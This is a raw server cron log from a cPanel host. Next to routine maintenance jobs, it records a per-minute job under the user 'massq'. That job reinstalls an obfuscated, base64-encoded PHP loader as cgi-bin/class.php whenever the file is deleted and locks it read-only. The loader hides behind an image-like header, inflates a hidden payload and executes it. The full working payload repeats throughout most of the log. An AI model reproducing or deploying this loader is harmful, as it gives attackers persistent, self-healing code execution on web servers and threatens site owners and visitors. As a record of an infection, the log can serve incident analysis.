Sep  8 01:41:01 server CROND[10903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:42:01 server CROND[11277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:42:01 server CROND[11278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:42:01 server CROND[11279]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:42:01 server CROND[11280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:43:01 server CROND[11651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:43:01 server CROND[11650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:43:01 server CROND[11652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:44:01 server CROND[12114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:44:01 server CROND[12113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:44:01 server CROND[12115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:45:01 server CROND[12508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:45:01 server CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:45:01 server CROND[12512]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:45:01 server CROND[12514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:45:01 server CROND[12516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:45:01 server CROND[12515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:45:01 server CROND[12513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:46:01 server CROND[13336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:46:01 server CROND[13337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:46:01 server CROND[13338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:47:01 server CROND[13701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:47:01 server CROND[13702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:47:01 server CROND[13704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:48:01 server CROND[14094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:48:01 server CROND[14095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:48:01 server CROND[14096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:49:01 server CROND[14456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:49:01 server CROND[14458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:49:01 server CROND[14457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:50:01 server CROND[14941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:50:01 server CROND[14940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:50:01 server CROND[14945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:50:01 server CROND[14947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:50:01 server CROND[14946]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:50:01 server CROND[14953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:50:01 server CROND[14951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:50:01 server CROND[14954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:50:01 server CROND[14955]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:51:01 server CROND[15785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:51:01 server CROND[15786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:51:01 server CROND[15787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:52:01 server CROND[16157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:52:01 server CROND[16158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:52:01 server CROND[16159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:53:01 server CROND[16532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:53:01 server CROND[16533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:53:01 server CROND[16534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:54:01 server CROND[16906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:54:01 server CROND[16907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
